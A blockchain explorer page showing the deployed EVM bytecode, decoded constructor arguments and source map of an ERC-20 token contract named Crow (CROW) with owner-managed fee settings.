ffffffffff8082111561123c5761123c6111fa565b604051601f8301601f19908116603f01168101908282118183101715611264576112646111fa565b8160405283815286602085880101111561127d57600080fd5b836020870160208301376000602085830101528094505050505092915050565b600080604083850312156112b057600080fd5b823567ffffffffffffffff808211156112c857600080fd5b6112d486838701611210565b935060208501359150808211156112ea57600080fd5b506112f785828601611210565b9150509250929050565b60008060006060848603121561131657600080fd5b61131f846111b4565b925061132d602085016111b4565b9150604084013590509250925092565b60006020828403121561134f57600080fd5b813561ffff811681146105c257600080fd5b6000806040838503121561137457600080fd5b61137d836111b4565b91506020830135801515811461139257600080fd5b809150509250929050565b6000602082840312156113af57600080fd5b6105c2826111b4565b600080604083850312156113cb57600080fd5b6113d4836111b4565b91506113e2602084016111b4565b90509250929050565b600181811c908216806113ff57607f821691505b60208210810361141f57634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526022908201527f41646d696e61626c653a2063616c6c6572206973206e6f7420746865206f776e60408201526132b960f11b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b8181038181111561055c5761055c611467565b808202811582820484141761055c5761055c611467565b634e487b7160e01b600052601260045260246000fd5b6000826114da57634e487b7160e01b600052601260045260246000fd5b500490565b601f821115610c1c57600081815260208120601f850160051c810160208610156115065750805b601f850160051c820191505b8181101561115e57828155600101611512565b815167ffffffffffffffff81111561153f5761153f6111fa565b6115538161154d84546113eb565b846114df565b602080601f83116001811461158857600084156115705750858301515b600019600386901b1c1916600185901b17855561115e565b600085815260208120601f198616915b828110156115b757888601518255948401946001909101908401611598565b50858210156115d55787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b8082018082111561055c5761055c61146756fea2646970667358221220040a79755d4a4292bee5d9735eee5e7f2bebcd9f8cb351ba593102980a90b0f964736f6c6343000813003300000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005f5e100000000000000000000000000000000000000000000000000000000000000000443726f7700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000443524f5700000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101fb5760003560e01c806374f7a13d1161011a578063daea8623116100ad578063f2fde38b1161007c578063f2fde38b14610459578063f5e8807a1461046c578063f851a4401461047f578063fe6b782814610490578063ffeaa695146104a357600080fd5b8063daea8623146103da578063dd62ed3e146103ed578063e516aec114610426578063f0f442601461044657600080fd5b806395d89b41116100e957806395d89b41146103ac578063a9059cbb146103b4578063c2300bef146102ee578063c53c6a1c146103c757600080fd5b806374f7a13d1461035f578063848cc3031461037f57806385a04dd0146103925780638da5cb5b146103a557600080fd5b80634c268a6f116101925780635fb6697a116101615780635fb6697a1461030a57806361d027b31461031d57806370a082311461032e578063715018a61461035757600080fd5b80634c268a6f146102c857806357c64b28146102db5780635a70ad28146102ee5780635c9a05b8146102f757600080fd5b806323b872dd116101ce57806323b872dd14610268578063313ce5671461027b5780633cb86fe41461028a57806349bd5a5e1461029d57600080fd5b806306fdde0314610200578063095ea7b31461021e57806318160ddd146102415780631d4776c214610253575b600080fd5b6102086104b6565b6040516102159190611166565b60405180910390f35b61023161022c3660046111d0565b610548565b6040519015158152602001610215565b6002545b604051908152602001610215565b61026661026136600461129d565b610562565b005b610231610276366004611301565b6105a3565b60405160128152602001610215565b61026661029836600461133d565b6105c9565b600a546102b0906001600160a01b031681565b6040516001600160a01b039091168152602001610215565b6102666102d636600461133d565b61063c565b6102666102e9366004611361565b6106af565b61024561271081565b61023161030536600461139d565b610720565b610266610318366004611361565b610743565b6008546001600160a01b03166102b0565b61024561033c36600461139d565b6001600160a01b031660009081526020819052604090205490565b610266610792565b61024561036d36600461139d565b60076020526000908152604090205481565b61024561038d3660046113b8565b6107c8565b6102666103a036600461133d565b6108b1565b60006102b0565b610208610924565b6102316103c23660046111d0565b610933565b600854600160b01b900461ffff16610245565b6102316103e836600461139d565b610941565b6102456103fb3660046113b8565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61024561043436600461139d565b60066020526000908152604090205481565b61026661045436600461139d565b610964565b61026661046736600461139d565b6109b0565b61026661047a3660046111d0565b610a4d565b6005546001600160a01b03166102b0565b600854600160a01b900461ffff16610245565b600854600160c01b900461ffff16610245565b6060600380546104c5906113eb565b80601f01602080910402602001604051908101604052809291908181526020018280546104f1906113eb565b801561053e5780601f106105135761010080835404028352916020019161053e565b820191906000526020600020905b81548152906001019060200180831161052157829003601f168201915b5050505050905090565b600033610556818585610adf565b60019150505b92915050565b6005546001600160a01b031633146105955760405162461bcd60e51b815260040161058c90611425565b60405180910390fd5b61059f8282610c03565b5050565b6000336105b1858285610c21565b6105bc858585610cb3565b60019150505b9392505050565b6005546001600160a01b031633146105f35760405162461bcd60e51b815260040161058c90611425565b6127108161ffff16111561061a57604051636b5c426160e01b815260040160405180910390fd5b6008805461ffff909216600160b01b0261ffff60b01b19909216919091179055565b6005546001600160a01b031633146106665760405162461bcd60e51b815260040161058c90611425565b6127108161ffff16111561068d57604051636b5c426160e01b815260040160405180910390fd5b6008805461ffff909216600160c01b0261ffff60c01b19909216919091179055565b6005546001600160a01b031633146106d95760405162461bcd60e51b815260040161058c90611425565b6001600160a01b038216600090815260096020526040812054906106ff90829084610cbe565b6001600160a01b039093166000908152600960205260409020929092555050565b6001600160a01b038116600090815260096020526040812054600216151561055c565b6005546001600160a01b0316331461076d5760405162461bcd60e51b815260040161058c90611425565b6001600160a01b0382166000908152600960205260409020546106ff81600184610cbe565b6005546001600160a01b031633146107bc5760405162461bcd60e51b815260040161058c90611425565b6107c66000610cdf565b565b6001600160a01b03821660009081526009602052604081205460018116156107f457600091505061055c565b6001600160a01b03831660009081526009602052604090205460018116156108215760009250505061055c565b604080516080810182526008546001600160a01b038116825261ffff600160a01b820481166020840152600160b01b8204811693830193909352600160c01b900490911660608201526002831615610885576040015161ffff16925061055c915050565b60028216156108a0576060015161ffff16925061055c915050565b6020015161ffff1695945050505050565b6005546001600160a01b031633146108db5760405162461bcd60e51b815260040161058c90611425565b6127108161ffff16111561090257604051636b5c426160e01b815260040160405180910390fd5b6008805461ffff909216600160a01b0261ffff60a01b19909216919091179055565b6060600480546104c5906113eb565b600033610556818585610cb3565b6001600160a01b038116600090815260096020526040812054600116151561055c565b6005546001600160a01b0316331461098e5760405162461bcd60e51b815260040161058c90611425565b600880546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146109da5760405162461bcd60e51b815260040161058c90611425565b6001600160a01b038116610a415760405162461bcd60e51b815260206004820152602860248201527f41646d696e61626c653a206e6577206f776e657220697320746865207a65726f604482015267206164647265737360c01b606482015260840161058c565b610a4a81610cdf565b50565b6005546001600160a01b03163314610a775760405162461bcd60e51b815260040161058c90611425565b610a838161271061147d565b6001600160a01b03831660009081526007602090815260408083208490559082905290205461271091610ab591611490565b610abf91906114bd565b6001600160a01b0390921660009081526006602052604090209190915550565b6001600160a01b038316610b415760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161058c565b6001600160a01b038216610ba25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161058c565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6003610c0f8382611525565b506004610c1c8282611525565b505050565b6001600160a01b038381166000908152600160209081526040808320938616835292905220546000198114610cad5781811015610ca05760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161058c565b610cad8484848403610adf565b50505050565b610c1c838383610d31565b60008115610cd257506001821b83176105c2565b506001821b1983166105c2565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907ff8ccb027dfcd135e000e9d45e6cc2d662578a8825d4c45b5e32e0adf67e79ec690600090a35050565b6001600160a01b0383166000908152600960205260409020546001811615610d5e57610cad848484610e74565b6001600160a01b0383166000908152600960205260409020546001811615610d9257610d8b858585610e74565b5050505050565b604080516080810182526008546001600160a01b038116825261ffff600160a01b820481166020840152600160b01b8204811693830193909352600160c01b900490911660608201526000906002841615610e0a57612710816040015161ffff16860281610e0257610e026114a7565b049150610e4d565b6002831615610e2e57612710816060015161ffff16860281610e0257610e026114a7565b612710816020015161ffff16860281610e4957610e496114a7565b0491505b818503610e5b888883610e74565b610e6a88836000015185610e74565b5050505050505050565b6001600160a01b038316610ed85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161058c565b6001600160a01b038216610f3a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161058c565b610f4583838361104e565b6001600160a01b03831660009081526020819052604090205481811015610fbd5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161058c565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610ff49084906115e5565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161104091815260200190565b60405180910390a350505050565b610c1c8383836001600160a01b03831660009081526009602052604090205461107b816001801b16151590565b156110865750505050565b6001600160a01b038416600090815260208181526040808320546007909252822054909190612710906110b99084611490565b6110c391906114bd565b6001600160a01b038716600090815260066020526040902054909150811115611102576001600160a01b03861660009081526006602052604090208190555b801561115e57611112848361147d565b6001600160a01b038716600090815260066020526040902054111561115e5760405162461bcd60e51b8152602060048201526002602482015261115360f21b604482015260640161058c565b505050505050565b600060208083528351808285015260005b8181101561119357858101830151858201604001528201611177565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146111cb57600080fd5b919050565b600080604083850312156111e357600080fd5b6111ec836111b4565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b600082601f83011261122157600080fd5b813567ffffffffffffffff8082111561123c5761123c6111fa565b604051601f8301601f19908116603f01168101908282118183101715611264576112646111fa565b8160405283815286602085880101111561127d57600080fd5b836020870160208301376000602085830101528094505050505092915050565b600080604083850312156112b057600080fd5b823567ffffffffffffffff808211156112c857600080fd5b6112d486838701611210565b935060208501359150808211156112ea57600080fd5b506112f785828601611210565b9150509250929050565b60008060006060848603121561131657600080fd5b61131f846111b4565b925061132d602085016111b4565b9150604084013590509250925092565b60006020828403121561134f57600080fd5b813561ffff811681146105c257600080fd5b6000806040838503121561137457600080fd5b61137d836111b4565b91506020830135801515811461139257600080fd5b809150509250929050565b6000602082840312156113af57600080fd5b6105c2826111b4565b600080604083850312156113cb57600080fd5b6113d4836111b4565b91506113e2602084016111b4565b90509250929050565b600181811c908216806113ff57607f821691505b60208210810361141f57634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526022908201527f41646d696e61626c653a2063616c6c6572206973206e6f7420746865206f776e60408201526132b960f11b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b8181038181111561055c5761055c611467565b808202811582820484141761055c5761055c611467565b634e487b7160e01b600052601260045260246000fd5b6000826114da57634e487b7160e01b600052601260045260246000fd5b500490565b601f821115610c1c57600081815260208120601f850160051c810160208610156115065750805b601f850160051c820191505b8181101561115e57828155600101611512565b815167ffffffffffffffff81111561153f5761153f6111fa565b6115538161154d84546113eb565b846114df565b602080601f83116001811461158857600084156115705750858301515b600019600386901b1c1916600185901b17855561115e565b600085815260208120601f198616915b828110156115b757888601518255948401946001909101908401611598565b50858210156115d55787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b8082018082111561055c5761055c61146756fea2646970667358221220040a79755d4a4292bee5d9735eee5e7f2bebcd9f8cb351ba593102980a90b0f964736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005f5e100000000000000000000000000000000000000000000000000000000000000000443726f7700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000443524f5700000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _name (string): Crow
Arg [1] : _symbol (string): CROW
Arg [2] : _transferFee (uint16): 0
Arg [3] : _buyFee (uint16): 0
Arg [4] : _sellFee (uint16): 0
Arg [5] : _supply (uint256): 100000000

-----Encoded View---------------
10 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000100
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000000
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000000
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000005f5e100
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [7] : 43726f7700000000000000000000000000000000000000000000000000000000
Arg [8] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [9] : 43524f5700000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

13408:1445:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2059:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2991:201;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;2991:201:0;1004:187:1;2380:108:0;2468:12;;2380:108;;;1342:25:1;;;1330:2;1315:18;2380:108:0;1196:177:1;13918:129:0;;;;;;:::i;:::-;;:::i;:::-;;3200:261;;;;;;:::i;:::-;;:::i;2279:93::-;;;2362:2;3257:36:1;;3245:2;3230:18;2279:93:0;3115:184:1;8401:195:0;;;;;;:::i;:::-;;:::i;13448:28::-;;;;;-1:-1:-1;;;;;13448:28:0;;;;;;-1:-1:-1;;;;;3745:32:1;;;3727:51;;3715:2;3700:18;13448:28:0;3581:203:1;8604:197:0;;;;;;:::i;:::-;;:::i;8809:208::-;;;;;;:::i;:::-;;:::i;7567:53::-;;7614:6;7567:53;;10622:143;;;;;;:::i;:::-;;:::i;9025:220::-;;;;;;:::i;:::-;;:::i;9253:103::-;9321:18;:27;-1:-1:-1;;;;;9321:27:0;9253:103;;2496:127;;;;;;:::i;:::-;-1:-1:-1;;;;;2597:18:0;2570:7;2597:18;;;;;;;;;;;;2496:127;6525:103;;;:::i;7146:47::-;;;;;;:::i;:::-;;;;;;;;;;;;;;9721:741;;;;;;:::i;:::-;;:::i;8188:205::-;;;;;;:::i;:::-;;:::i;6298:91::-;6344:7;6298:91;;2167:104;;;:::i;2631:193::-;;;;;;:::i;:::-;;:::i;9489:107::-;9559:18;:29;-1:-1:-1;;;9559:29:0;;;;9489:107;;10470:144;;;;;;:::i;:::-;;:::i;2832:151::-;;;;;;:::i;:::-;-1:-1:-1;;;;;2948:18:0;;;2921:7;2948:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;2832:151;7095:44;;;;;;:::i;:::-;;;;;;;;;;;;;;8063:117;;;;;;:::i;:::-;;:::i;6636:203::-;;;;;;:::i;:::-;;:::i;12565:247::-;;;;;;:::i;:::-;;:::i;6205:87::-;6278:6;;-1:-1:-1;;;;;6278:6:0;6205:87;;9364:117;9439:18;:34;-1:-1:-1;;;9439:34:0;;;;9364:117;;9604:109;9675:18;:30;-1:-1:-1;;;9675:30:0;;;;9604:109;;2059:100;2113:13;2146:5;2139:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2059:100;:::o;2991:201::-;3074:4;613:10;3130:32;613:10;3146:7;3155:6;3130:8;:32::i;:::-;3180:4;3173:11;;;2991:201;;;;;:::o;13918:129::-;6278:6;;-1:-1:-1;;;;;6278:6:0;613:10;6435:23;6427:70;;;;-1:-1:-1;;;6427:70:0;;;;;;;:::i;:::-;;;;;;;;;14012:27:::1;14024:5;14031:7;14012:11;:27::i;:::-;13918:129:::0;;:::o;3200:261::-;3297:4;613:10;3355:38;3371:4;613:10;3386:6;3355:15;:38::i;:::-;3404:27;3414:4;3420:2;3424:6;3404:9;:27::i;:::-;3449:4;3442:11;;;3200:261;;;;;;:::o;8401:195::-;6278:6;;-1:-1:-1;;;;;6278:6:0;613:10;6435:23;6427:70;;;;-1:-1:-1;;;6427:70:0;;;;;;;:::i;:::-;7552:6:::1;8471:4;:15;;;8467:75;;;8510:20;;-1:-1:-1::0;;;8510:20:0::1;;;;;;;;;;;8467:75;8552:18;:36:::0;;::::1;::::0;;::::1;-1:-1:-1::0;;;8552:36:0::1;-1:-1:-1::0;;;;8552:36:0;;::::1;::::0;;;::::1;::::0;;8401:195::o;8604:197::-;6278:6;;-1:-1:-1;;;;;6278:6:0;613:10;6435:23;6427:70;;;;-1:-1:-1;;;6427:70:0;;;;;;;:::i;:::-;7552:6:::1;8675:4;:15;;;8671:75;;;8714:20;;-1:-1:-1::0;;;8714:20:0::1;;;;;;;;;;;8671:75;8756:18;:37:::0;;::::1;::::0;;::::1;-1:-1:-1::0;;;8756:37:0::1;-1:-1:-1::0;;;;8756:37:0;;::::1;::::0;;;::::1;::::0;;8604:197::o;8809:208::-;6278:6;;-1:-1:-1;;;;;6278:6:0;613:10;6435:23;6427:70;;;;-1:-1:-1;;;6427:70:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8903:30:0;::::1;8886:14;8903:30:::0;;;:20:::1;:30;::::0;;;;;;8977:32:::1;::::0;8903:30;;9001:7;8977:12:::1;:32::i;:::-;-1:-1:-1::0;;;;;8944:30:0;;::::1;;::::0;;;:20:::1;:30;::::0;;;;:65;;;;-1:-1:-1;;8809:208:0:o;10622:143::-;-1:-1:-1;;;;;10724:29:0;;10685:4;10724:29;;;:20;:29;;;;;;12534:10;12524:21;:25;;10709:48;12375:182;9025:220;6278:6;;-1:-1:-1;;;;;6278:6:0;613:10;6435:23;6427:70;;;;-1:-1:-1;;;6427:70:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9131:30:0;::::1;9114:14;9131:30:::0;;;:20:::1;:30;::::0;;;;;9205:32:::1;9131:30:::0;9226:1:::1;9229:7:::0;9205:12:::1;:32::i;6525:103::-:0;6278:6;;-1:-1:-1;;;;;6278:6:0;613:10;6435:23;6427:70;;;;-1:-1:-1;;;6427:70:0;;;;;;;:::i;:::-;6590:30:::1;6617:1;6590:18;:30::i;:::-;6525:103::o:0;9721:741::-;-1:-1:-1;;;;;9836:26:0;;9788:7;9836:26;;;:20;:26;;;;;;12534:1;12524:21;;:25;9883:77;;9947:1;9940:8;;;;;9883:77;-1:-1:-1;;;;;9998:24:0;;9972:23;9998:24;;;:20;:24;;;;;;12534:1;12524:21;;:25;10035:75;;10097:1;10090:8;;;;;;10035:75;10122:60;;;;;;;;10164:18;10122:60;-1:-1:-1;;;;;10122:60:0;;;;;-1:-1:-1;;;10122:60:0;;;;;;;;-1:-1:-1;;;10122:60:0;;;;;;;;;;;-1:-1:-1;;;10122:60:0;;;;;;;;;12534:10;12524:21;;:25;10195:100;;10259:24;;;10252:31;;;-1:-1:-1;10252:31:0;;-1:-1:-1;;10252:31:0;10195:100;12534:10;12524:21;;:25;10307:99;;10369:25;;;10362:32;;;-1:-1:-1;10362:32:0;;-1:-1:-1;;10362:32:0;10307:99;10425:29;;;10418:36;;;9721:741;-1:-1:-1;;;;;9721:741:0:o;8188:205::-;6278:6;;-1:-1:-1;;;;;6278:6:0;613:10;6435:23;6427:70;;;;-1:-1:-1;;;6427:70:0;;;;;;;:::i;:::-;7552:6:::1;8263:4;:15;;;8259:75;;;8302:20;;-1:-1:-1::0;;;8302:20:0::1;;;;;;;;;;;8259:75;8344:18;:41:::0;;::::1;::::0;;::::1;-1:-1:-1::0;;;8344:41:0::1;-1:-1:-1::0;;;;8344:41:0;;::::1;::::0;;;::::1;::::0;;8188:205::o;2167:104::-;2223:13;2256:7;2249:14;;;;;:::i;2631:193::-;2710:4;613:10;2766:28;613:10;2783:2;2787:6;2766:9;:28::i;10470:144::-;-1:-1:-1;;;;;10573:29:0;;10534:4;10573:29;;;:20;:29;;;;;;12534:1;12524:21;:25;;10558:48;12375:182;8063:117;6278:6;;-1:-1:-1;;;;;6278:6:0;613:10;6435:23;6427:70;;;;-1:-1:-1;;;6427:70:0;;;;;;;:::i;:::-;8133:18:::1;:39:::0;;-1:-1:-1;;;;;;8133:39:0::1;-1:-1:-1::0;;;;;8133:39:0;;;::::1;::::0;;;::::1;::::0;;8063:117::o;6636:203::-;6278:6;;-1:-1:-1;;;;;6278:6:0;613:10;6435:23;6427:70;;;;-1:-1:-1;;;6427:70:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6725:22:0;::::1;6717:75;;;::::0;-1:-1:-1;;;6717:75:0;;5587:2:1;6717:75:0::1;::::0;::::1;5569:21:1::0;5626:2;5606:18;;;5599:30;5665:34;5645:18;;;5638:62;-1:-1:-1;;;5716:18:1;;;5709:38;5764:19;;6717:75:0::1;5385:404:1::0;6717:75:0::1;6803:28;6822:8;6803:18;:28::i;:::-;6636:203:::0;:::o;12565:247::-;6278:6;;-1:-1:-1;;;;;6278:6:0;613:10;6435:23;6427:70;;;;-1:-1:-1;;;6427:70:0;;;;;;;:::i;:::-;12693:22:::1;12704:11:::0;7552:6:::1;12693:22;:::i;:::-;-1:-1:-1::0;;;;;12667:22:0;::::1;;::::0;;;:12:::1;:22;::::0;;;;;;;:49;;;2597:18;;;;;;;7552:6:::1;::::0;12749:44:::1;::::0;::::1;:::i;:::-;:55;;;;:::i;:::-;-1:-1:-1::0;;;;;12727:19:0;;::::1;;::::0;;;:9:::1;:19;::::0;;;;:77;;;;-1:-1:-1;12565:247:0:o;5090:346::-;-1:-1:-1;;;;;5192:19:0;;5184:68;;;;-1:-1:-1;;;5184:68:0;;6788:2:1;5184:68:0;;;6770:21:1;6827:2;6807:18;;;6800:30;6866:34;6846:18;;;6839:62;-1:-1:-1;;;6917:18:1;;;6910:34;6961:19;;5184:68:0;6586:400:1;5184:68:0;-1:-1:-1;;;;;5271:21:0;;5263:68;;;;-1:-1:-1;;;5263:68:0;;7193:2:1;5263:68:0;;;7175:21:1;7232:2;7212:18;;;7205:30;7271:34;7251:18;;;7244:62;-1:-1:-1;;;7322:18:1;;;7315:32;7364:19;;5263:68:0;6991:398:1;5263:68:0;-1:-1:-1;;;;;5344:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5396:32;;1342:25:1;;;5396:32:0;;1315:18:1;5396:32:0;;;;;;;5090:346;;;:::o;3469:134::-;3554:5;:13;3562:5;3554;:13;:::i;:::-;-1:-1:-1;3578:7:0;:17;3588:7;3578;:17;:::i;:::-;;3469:134;;:::o;5444:419::-;-1:-1:-1;;;;;2948:18:0;;;5545:24;2948:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;5612:37:0;;5608:248;;5694:6;5674:16;:26;;5666:68;;;;-1:-1:-1;;;5666:68:0;;9800:2:1;5666:68:0;;;9782:21:1;9839:2;9819:18;;;9812:30;9878:31;9858:18;;;9851:59;9927:18;;5666:68:0;9598:353:1;5666:68:0;5778:51;5787:5;5794:7;5822:6;5803:16;:25;5778:8;:51::i;:::-;5534:329;5444:419;;;:::o;14055:159::-;14170:36;14189:4;14195:2;14199:6;14170:18;:36::i;12124:243::-;12212:7;12236:5;12232:128;;;-1:-1:-1;12275:1:0;:10;;12265:21;;12258:28;;12232:128;-1:-1:-1;12337:1:0;:10;;12335:13;12326:22;;12319:29;;6847:187;6940:6;;;-1:-1:-1;;;;;6957:17:0;;;-1:-1:-1;;;;;;6957:17:0;;;;;;;6990:36;;6940:6;;;6957:17;6940:6;;6990:36;;6921:16;;6990:36;6910:124;6847:187;:::o;10775:1341::-;-1:-1:-1;;;;;10901:26:0;;10873:25;10901:26;;;:20;:26;;;;;;12534:1;12524:21;;:25;10940:123;;10997:33;11013:4;11019:2;11023:6;10997:15;:33::i;10940:123::-;-1:-1:-1;;;;;11101:24:0;;11075:23;11101:24;;;:20;:24;;;;;;12534:1;12524:21;;:25;11138:121;;11193:33;11209:4;11215:2;11219:6;11193:15;:33::i;:::-;11241:7;;10775:1341;;;:::o;11138:121::-;11293:60;;;;;;;;11335:18;11293:60;-1:-1:-1;;;;;11293:60:0;;;;;-1:-1:-1;;;11293:60:0;;;;;;;;-1:-1:-1;;;11293:60:0;;;;;;;;;;;-1:-1:-1;;;11293:60:0;;;;;;;;;-1:-1:-1;;12534:10:0;12524:21;;:25;11366:517;;7614:6;11467:13;:24;;;11458:33;;:6;:33;:56;;;;;:::i;:::-;;11452:62;;11366:517;;;12534:10;12524:21;;:25;11556:327;;7614:6;11655:13;:25;;;11646:34;;:6;:34;:57;;;;;:::i;11556:327::-;7614:6;11804:13;:29;;;11795:38;;:6;:38;:61;;;;;:::i;:::-;;11789:67;;11556:327;11970:12;;;12006:41;12022:4;12028:2;11970:12;12006:15;:41::i;:::-;12058:50;12074:4;12080:13;:22;;;12104:3;12058:15;:50::i;:::-;10862:1254;;;;;10775:1341;;;:::o;3611:587::-;-1:-1:-1;;;;;3708:18:0;;3700:68;;;;-1:-1:-1;;;3700:68:0;;10158:2:1;3700:68:0;;;10140:21:1;10197:2;10177:18;;;10170:30;10236:34;10216:18;;;10209:62;-1:-1:-1;;;10287:18:1;;;10280:35;10332:19;;3700:68:0;9956:401:1;3700:68:0;-1:-1:-1;;;;;3787:16:0;;3779:64;;;;-1:-1:-1;;;3779:64:0;;10564:2:1;3779:64:0;;;10546:21:1;10603:2;10583:18;;;10576:30;10642:34;10622:18;;;10615:62;-1:-1:-1;;;10693:18:1;;;10686:33;10736:19;;3779:64:0;10362:399:1;3779:64:0;3856:38;3877:4;3883:2;3887:6;3856:20;:38::i;:::-;-1:-1:-1;;;;;3929:15:0;;3907:19;3929:15;;;;;;;;;;;3963:21;;;;3955:72;;;;-1:-1:-1;;;3955:72:0;;10968:2:1;3955:72:0;;;10950:21:1;11007:2;10987:18;;;10980:30;11046:34;11026:18;;;11019:62;-1:-1:-1;;;11097:18:1;;;11090:36;11143:19;;3955:72:0;10766:402:1;3955:72:0;-1:-1:-1;;;;;4063:15:0;;;:9;:15;;;;;;;;;;;4081:20;;;4063:38;;4123:13;;;;;;;;:23;;4095:6;;4063:9;4123:23;;4095:6;;4123:23;:::i;:::-;;;;;;;;4179:2;-1:-1:-1;;;;;4164:26:0;4173:4;-1:-1:-1;;;;;4164:26:0;;4183:6;4164:26;;;;1342:25:1;;1330:2;1315:18;;1196:177;4164:26:0;;;;;;;;3689:509;3611:587;;;:::o;14222:213::-;14380:47;14410:4;14416:2;14420:6;-1:-1:-1;;;;;12957:26:0;;12929:25;12957:26;;;:20;:26;;;;;;12998:36;12957:26;13032:1;12534;:10;12524:21;:25;;;12375:182;12998:36;12994:49;;;13036:7;12820:581;;;:::o;12994:49::-;-1:-1:-1;;;;;2597:18:0;;13053:21;2597:18;;;;;;;;;;;;13142:12;:18;;;;;;2597;;13053:21;7552:6;;13126:34;;2597:18;13126:34;:::i;:::-;:45;;;;:::i;:::-;-1:-1:-1;;;;;13201:15:0;;;;;;:9;:15;;;;;;13103:68;;-1:-1:-1;13186:30:0;;13182:66;;;-1:-1:-1;;;;;13218:15:0;;;;;;:9;:15;;;;;:30;;;13182:66;13263:17;;13259:79;;13309:22;13325:6;13309:13;:22;:::i;:::-;-1:-1:-1;;;;;13290:15:0;;;;;;:9;:15;;;;;;:41;;13282:56;;;;-1:-1:-1;;;13282:56:0;;11505:2:1;13282:56:0;;;11487:21:1;11544:1;11524:18;;;11517:29;-1:-1:-1;;;11562:18:1;;;11555:32;11604:18;;13282:56:0;11303:325:1;13282:56:0;12918:483;;;12820:581;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:127::-;1439:10;1434:3;1430:20;1427:1;1420:31;1470:4;1467:1;1460:15;1494:4;1491:1;1484:15;1510:719;1553:5;1606:3;1599:4;1591:6;1587:17;1583:27;1573:55;;1624:1;1621;1614:12;1573:55;1660:6;1647:20